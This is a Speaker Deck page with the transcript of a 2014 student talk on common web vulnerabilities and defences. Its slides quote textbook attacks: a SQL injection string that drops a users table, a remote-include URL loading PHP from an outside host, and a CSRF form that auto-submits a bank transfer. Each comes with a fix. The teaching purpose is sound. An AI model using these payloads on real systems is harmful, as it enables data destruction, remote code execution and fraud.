Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
RCOS Security Talk
Search
Sponsored
·
SiteGround - Reliable hosting with speed, security, and support you can count on.
→
Kevin O'Connor
February 28, 2014
Programming
3
170
RCOS Security Talk
Basic overview of common vulnerabilities and best practices.
Kevin O'Connor
February 28, 2014
Tweet
Share
More Decks by Kevin O'Connor
See All by Kevin O'Connor
SD&D 101
kevinoconnor7
0
78
Other Decks in Programming
See All in Programming
The Past, Present, and Future of Enterprise Java
ivargrimstad
0
910
Angular-Apps smarter machen mit Gen AI: Lokal und offlinefähig - Hands-on Workshop!
christianliebel
PRO
0
130
Symfony + NelmioApiDocBundle を使った スキーマ駆動開発 / Schema Driven Development with NelmioApiDocBundle
okashoi
0
210
What Spring Developers Should Know About Jakarta EE
ivargrimstad
0
740
maplibre-gl-layers - 地図に移動体たくさん表示したい
kekyo
PRO
0
400
野球解説AI Agentを開発してみた - 2026/02/27 LayerX社内LT会資料
shinyorke
PRO
0
350
go directiveを最新にしすぎないで欲しい話──あるいは、Go 1.26からgo mod initで作られるgo directiveの値が変わる話 / Go 1.26 リリースパーティ
arthur1
2
580
AI活用のコスパを最大化する方法
ochtum
0
280
Kubernetesでセルフホストが簡単なNewSQLを求めて / Seeking a NewSQL Database That's Simple to Self-Host on Kubernetes
nnaka2992
0
170
Fundamentals of Software Engineering In the Age of AI
therealdanvega
2
290
エンジニアの「手元の自動化」を加速するn8n 2026.02.27
symy2co
0
170
Codexに役割を持たせる 他のAIエージェントと組み合わせる実務Tips
o8n
4
1.4k
Featured
See All Featured
Beyond borders and beyond the search box: How to win the global "messy middle" with AI-driven SEO
davidcarrasco
3
81
The Curious Case for Waylosing
cassininazir
0
270
Breaking role norms: Why Content Design is so much more than writing copy - Taylor Woolridge
uxyall
0
220
Future Trends and Review - Lecture 12 - Web Technologies (1019888BNR)
signer
PRO
0
3.3k
Odyssey Design
rkendrick25
PRO
2
550
Automating Front-end Workflow
addyosmani
1370
200k
Code Review Best Practice
trishagee
74
20k
Navigating the Design Leadership Dip - Product Design Week Design Leaders+ Conference 2024
apolaine
0
240
VelocityConf: Rendering Performance Case Studies
addyosmani
333
24k
The Language of Interfaces
destraynor
162
26k
How To Speak Unicorn (iThemes Webinar)
marktimemedia
1
410
How to Grow Your eCommerce with AI & Automation
katarinadahlin
PRO
1
150
Transcript
YOU SUCK at security
1. Your attackers are better
Do NOT ROLL YOUR OWN
None
1. Open-source 2. Audited 3. Active community
2. Security is hard
No. Seriously.
5,000 CVEs /yr
3. Dont trust input
<?php! $query = "SELECT * FROM users WHERE username='". "$_GET[’user']."'";
! $result = mysql_query($query);!
/derp.php?user=x’ DROP TABLE users;--!
/derp.php?user=x’ DROP TABLE users;--! http://xkcd.com/327/
<?php! $stmt = $dbh->prepare("SELECT FROM users WHERE username=?");! $stmt->execute(array($_GET['user']));! Use
Parameter Binding
<div><?php echo $row['username']; ?></div>! XSS. Inject javascript
<html>! <body>! "<form method="POST" action="/users/add">! " "<input type="text" name="username">! "
"<input type="password" name="password">! " "<input type="hidden" name="isAdmin" value="true">! " "<button type="submit">Create user</button>! "</form>! </body>! </html>! Unexpected Input. Sneaky DOM edit
<?php! include('header.php');! include($_GET['page']);! include('footer.php');! ! /index.php?page=http://sketchy.su/BadTime.php! Remote Include.
Sanitize all input
Blacklist Only use if you know all cases Less restrictive
on user
Whitelist Best security Very restrictive
Protip Markdown Google Caja
4. Protect your cookies
Set-Cookie: SESSIONID=S8d2d1ffd5cb37209ef71982b80f16d7b! Bad Session
Set-Cookie: SESSIONID=S8d2d1ffd5cb37209ef71982b80f16d7b; ! "HttpOnly; secure! GOOD Session Send over SSL
only HTTP access only Prevents XSS theft
5. No Outsiders
<iframe name="bank"></iframe>! <script>! "document.write('! " "<form ! " " action="https://MyBank.com/account/transfer"
! " " target="bank" ! " " method="POST" ! " " name="injected">! " " "<input type="text" name="amount" value="1000.00" />! " " "<input type="text" name="to" value="
[email protected]
" />! " "</form>! "');! "injected.submit();! </script>!
CSRF sucks
Block it. Require a unique token per request X-Frame-Options: Block
6. Encrypt everything
Too expensive? startssl.com
Self-sign Dev Environment openssl req -x509 -newkey des3:2048 -keyout key.pem
- out cert.pem -days XXX!
Verify All CERTS <?php! // cURL supports SSL verification! curl_setopt($ch,
CURLOPT_SSL_VERIFYPEER, true);! ! //File_get_contents does NOT! file_get_contents($url);!
Verify Servers Use server certs to verify servers to one
another
Harden SSL Disable SSL2 Disable TLS1.0 compression Disable weak ciphers
(DES, RC4) h"p://blog.cloudflare.com/staying-‐on-‐top-‐of-‐tls-‐a"acks
Force SSL
7. Use Slow Hashes
No Plaintext Passwords Just don’t.
Hash + Salt MD5 SHA1 … HMAC + bcrypt
Wait. Explain. We want to be slow.
Method password = bcrypt(HMAC(password, local_salt), bcrypt_salt)!
Salt-free db Store salt on file system Two attacks needed
Or both
Migrate. Maintain two hashes Rehash on successful login Purge old
hashes after x duration
Lost Passwords Hash a one-time login ID
8. Remember the basics
Random IV Having the IV be public is okay
Wait for entropy /dev/random waits /dev/urandom non-blocking
Use ECC NSA-Proof * * As far as we know,
at least…
Passwordless Login Use keypairs for server access
9. Use libraries
Crypto NaCL SJCL Crypto++ QCA
Web Frameworks Python: Django, Flask PHP: Laravel, Phalcon Go: Revel
Node: Sails Java/Scala: Play Ruby: Rails
Assume nothing Always research security best practices
Questions? Complaints?
Im hiring Sysadmin.union.rpi.edu/apply